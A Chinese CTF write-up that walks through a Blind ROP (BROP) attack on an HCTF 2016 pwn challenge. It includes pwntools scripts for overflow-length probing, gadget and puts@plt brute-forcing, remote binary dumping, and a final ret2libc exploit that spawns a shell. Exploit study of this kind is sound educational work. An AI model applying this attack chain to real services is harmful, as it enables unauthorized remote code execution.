这个攻击的实践以2016年的hctf中的一个pwn题为例。虽然这个例子中没有包含攻击原理 的全部细节,但是作为这种攻击的入门还是不错的。 这道题目没有给二进制文件,只能采用BROP。
1.经过测试,当输入字符超过72字节时,程序不会显示No password, No game
1 2 3 4 5 6 7 8 9 10 11 for i in range (0 , 200 ): r = remote("127.0.0.1" , 4444 ) r.recvuntil("?\n" ) r.sendline('A' * i) try : r.recvuntil('No password, no game' ) except : print i break r.close()
2.假设没有开启PIE,则基地址为0x08048000
或0x400000
。首先尝试0x08048000,没有任何发现,因此判断系统为64位。 构造如下payload爆破,发现当i=0x6bd
时,程序会重新开始,判断0x4006bd为main地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 for i in range (0x600 , 0x1000 ): r = remote("127.0.0.1" , 4444 ) r.recvuntil("?\n" ) payload = 'A' * 72 + p64(0x400000 +i) r.sendline(payload) try : r.recvuntil('?\n' ) print hex (0x400000 +i) r.interactive() r.close() break except : print hex (0x400000 +i) r.close() continue
3.因为是64位程序,要实现任意地址泄露,主要需要知道pop rdi; ret
和puts@plt
的地址。 在64位ELF中,通常存在一个pop r15; ret
,对应的字节码为41 5f c3
,后两个字节码对应指令pop rdi; ret
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 for i in range (0x750 , 0x1000 ): r = remote("127.0.0.1" , 4444 ) r.recvuntil("?\n" ) addr = 0x400000 + i payload = 'A' * 72 + p64(addr) + p64(0 ) + p64(0 ) + p64(0 ) + p64(0 ) + p64(0 ) + p64(0 ) + p64(main) r.sendline(payload) try : print r.recvuntil('?\n' ) print hex (0x400000 +i) r.interactive() r.close() break except : print hex (0x400000 +i) r.close() continue
得到地址0x4007ba,加8应该就是pop r15; ret
的地址了,要确认还需要进一步测试:当一个地址满足如下3个payload都能返回main函数的话,就可以得到一个pop rdi; ret
的地址。
1 2 3 payload1 = 'A' * 72 + p64(addr-1 ) + p64(0 ) + p64(main) payload2 = 'A' * 72 + p64(addr) + p64(0 ) + p64(main) payload3 = 'A' * 72 + p64(addr+1 ) + p64(main)
最终得到pop_rdi_ret
地址为0x4007c3。 4.构造如下代码爆破puts_plt
的地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 for i in range (0x500 , 0x1000 ): r = remote("127.0.0.1" , 4444 ) r.recvuntil("?\n" ) payload = 'A' * 72 + p64(pop_rdi_ret) + p64(0x400000 ) + p64(0x400000 +i) r.sendline(payload) try : print r.recvuntil('ELF' ) print hex (0x400000 +i) r.close() break except : print hex (0x400000 +i) r.close() continue
如果程序打印前四个字节为\x7fELF
,则为puts_plt
。得到的地址为0x400565,实际puts_plt为0x400570,并没有什么影响。 5.dump代码,用IDA分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 def dump (): r = remote('127.0.0.1' , 4444 ) base = 0x400000 d = '' while True : try : print hex (len (d)) r.recvuntil('?\n' ) payload = 'A' * 72 + p64(pop_rdi_ret) + p64(base+len (d)) + p64(puts_plt) + p64(main) r.sendline(payload) d += r.recvline()[:-1 ] + '\x00' except : r = remote('127.0.0.1' , 4444 ) if len (d) > 0x9bc : break f = open ('code.bin' , 'wb' ) f.write(d) f.close() base = 0x600e10 d = '' while True : print hex (len (d)) r.recvuntil('?\n' ) payload = 'A' * 72 + p64(pop_rdi_ret) + p64(base+len (d)) + p64(puts_plt) + p64(main) r.sendline(payload) d += r.recvline()[:-1 ] + '\x00' if len (d) > 0x248 : break f = open ('data.bin' , 'wb' ) f.write(d) f.close() r.close()
dump出的code.bin文件用IDA打开,打开时不能以ELF64
打开,要以binary file
打开,打开后对段基址rebase一下:Edit->Segements->Rebase program,将Value改为0x400000。 改完之后找到前面判定的main(0x4006bd),将光标放在这里,按下p
,反汇编为代码。 6.exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 def exp (): read_got = 0x601028 puts_got = 0x601018 r = remote('127.0.0.1' , 4444 ) r.recvuntil('?\n' ) r.sendline('A' * 72 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)) libc_base = u64(r.recvline()[:-1 ].ljust(8 , '\x00' )) - 0x6f690 system = libc_base + 0x45390 binsh = libc_base + 0x18c177 r.recvuntil('?\n' ) r.sendline('A' *72 + p64(pop_rdi_ret) + p64(binsh) + p64(system) + p64(main)) r.interactive()
题目下载 reference http://bobao.360.cn/ctf/detail/179.html http://pwn4.fun/2017/02/13/Blind-Return-Oriented-Programming-BROP-Attack%E6%94%BB%E5%87%BB%E5%8E%9F%E7%90%86/